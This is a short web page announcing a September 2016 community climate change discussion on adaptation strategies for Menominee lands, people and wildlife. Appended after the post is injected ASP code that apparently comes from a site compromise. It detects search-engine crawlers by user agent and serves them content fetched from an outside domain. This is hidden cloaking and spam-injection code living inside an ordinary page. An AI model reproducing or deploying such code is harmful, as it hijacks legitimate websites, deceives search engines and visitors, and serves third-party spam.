«

»

Sep 02

Print this Post

Community Climate Change Discussion-Sept. 6, 2016

Categories:

Education, Outreach, Research

September 2, 2016

Share your opinions on how climate change is currently, and will affect this area in the near future. Help CMN SDI find adaptation strategies that are vital to the health and survival of Menominee plants, fish and wildlife and people.

workshop input final

Tags: , ,

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2016/09/community-climate-change-discussion-sept-6-2016/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>